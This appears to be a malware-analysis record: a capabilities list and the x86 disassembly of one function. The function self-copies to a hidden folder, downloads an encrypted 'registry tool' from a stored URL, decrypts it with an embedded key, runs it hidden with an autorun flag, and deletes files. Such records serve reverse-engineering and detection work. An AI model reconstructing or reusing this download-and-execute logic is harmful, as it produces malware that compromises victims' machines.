Function at 0x408d20
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x588
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x427]
push 0
push eax
mov byte [ebp - 0x428], 0
call fcn.00411940
add esp, 0xc
lea eax, [ebp - 0x31f]
push 0x103
push 0
push eax
mov byte [ebp - 0x320], 0
call fcn.00411940
add esp, 0xc
lea eax, [ebp - 0x10f]
push 0x103
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.00411940
add esp, 0xc
lea eax, [ebp - 0x217]
push 0x103
push 0
push eax
mov byte [ebp - 0x218], 0
call fcn.00411940
add esp, 0xc
lea eax, [ebp - 0x52f]
push 0x103
push 0
push eax
mov byte [ebp - 0x530], 0
call fcn.00411940
add esp, 0xc
lea eax, [ebp - 0x320]
push str.X:.Trash_100
push 0x104
push eax
call fcn.0040e059
add esp, 0xc
lea eax, [ebp - 0x320]
push 0x42caec
push 0x104
push eax
call fcn.0040e331
add esp, 0xc
lea eax, [ebp - 0x320]
push str.ActivateDesktop.exe
push 0x104
push eax
call fcn.0040e331
add esp, 0xc
lea eax, [ebp - 0x428]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x320]
lea eax, [ebp - 0x428]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408e51
test dl, dl
je 0x408e4d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408e51
add eax, 2
add ecx, 2
test dl, dl
jne 0x408e31
xor eax, eax
jmp 0x408e56
sbb eax, eax
or eax, 1
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x408ec5
lea edx, [ebp - 0x320]
lea ecx, [ebp - 0x428]
call fcn.0040b340
push 0x40
lea eax, [ebp - 0x574]
push 0
push eax
mov dword [ebp - 0x578], 0x44
call fcn.00411940
add esp, 0xc
lea eax, [ebp - 0x588]
push eax
lea eax, [ebp - 0x578]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x320]
push eax
push 0
mov dword [ebp - 0x54c], 0x80
call esi
test eax, eax
jne 0x40918f
push str.X:.Trash_100
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040e059
add esp, 0xc
lea eax, [ebp - 0x110]
push str._registry_tool.exe
push 0x104
push eax
call fcn.0040e331
add esp, 0xc
lea edx, [ebp - 0x530]
push 0x104
mov ecx, str.last_regwrite_link
call fcn.004051d0
add esp, 4
lea edx, [ebp - 0x218]
push 0x104
mov ecx, str.backup_url
call fcn.004051d0
add esp, 4
test al, al
jne 0x408f44
push 0x4340c8
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0040e059
add esp, 0xc
push str.tools_RegWriter.exe.samael_encrypted
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0040e331
add esp, 0xc
lea ecx, [ebp - 0x218]
lea eax, [ebp - 0x530]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408f90
test dl, dl
je 0x408f8c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408f90
add eax, 2
add ecx, 2
test dl, dl
jne 0x408f70
xor eax, eax
jmp 0x408f95
sbb eax, eax
or eax, 1
test eax, eax
je 0x409128
mov edx, str.Trying_to_download_registry_tool_
mov ecx, 0x4330d0
call fcn.00405410
lea edx, [ebp - 0x110]
mov ecx, eax
call fcn.00405410
mov edx, str.__from
mov ecx, eax
call fcn.00405410
lea edx, [ebp - 0x218]
mov ecx, eax
call fcn.00405410
mov edx, str...._n
mov ecx, eax
call fcn.00405410
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x218]
call fcn.0040a9b0
test al, al
je 0x409056
mov edx, str.Downloaded._Decrypting_with_key
mov ecx, 0x4330d0
call fcn.00405410
mov edx, str.666_SamaelLovesMe_666
mov ecx, eax
call fcn.00405410
mov edx, 0x42cdac
mov ecx, eax
call fcn.00405410
lea ecx, [ebp - 0x110]
call fcn.004057a0
test al, al
je 0x409056
lea edx, [ebp - 0x218]
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x409032
sub edx, edi
push edx
lea edx, [ebp - 0x218]
mov ecx, str.last_regwrite_link
call fcn.00404ff0
add esp, 4
mov edx, str.Registry_tool_downloaded__n
jmp 0x40905b
mov edx, str.Registry_tool_download_FAILED__n
mov ecx, 0x4330d0
call fcn.00405410
push str.__autorun
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040e331
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040e331
add esp, 0xc
lea eax, [ebp - 0x574]
push 0x40
push 0
push eax
mov dword [ebp - 0x578], 0x44
call fcn.00411940
add esp, 0xc
xor eax, eax
mov word [ebp - 0x548], ax
lea eax, [ebp - 0x588]
push eax
lea eax, [ebp - 0x578]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x54c], 0x81
call esi
test eax, eax
jne 0x409116
lea eax, [ebp - 0x110]
push str.__autorun
push eax
call fcn.0040e530
add esp, 8
mov byte [eax], 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040cdaf
mov esp, ebp
pop ebp
ret
push 0x40
lea eax, [ebp - 0x574]
push 0
push eax
mov dword [ebp - 0x578], 0x44
call fcn.00411940
add esp, 0xc
xor eax, eax
mov word [ebp - 0x548], ax
lea eax, [ebp - 0x588]
push eax
lea eax, [ebp - 0x578]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x54c], 0x81
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.0040cdaf
mov esp, ebp
pop ebp
ret
call fcn.004088e0
int3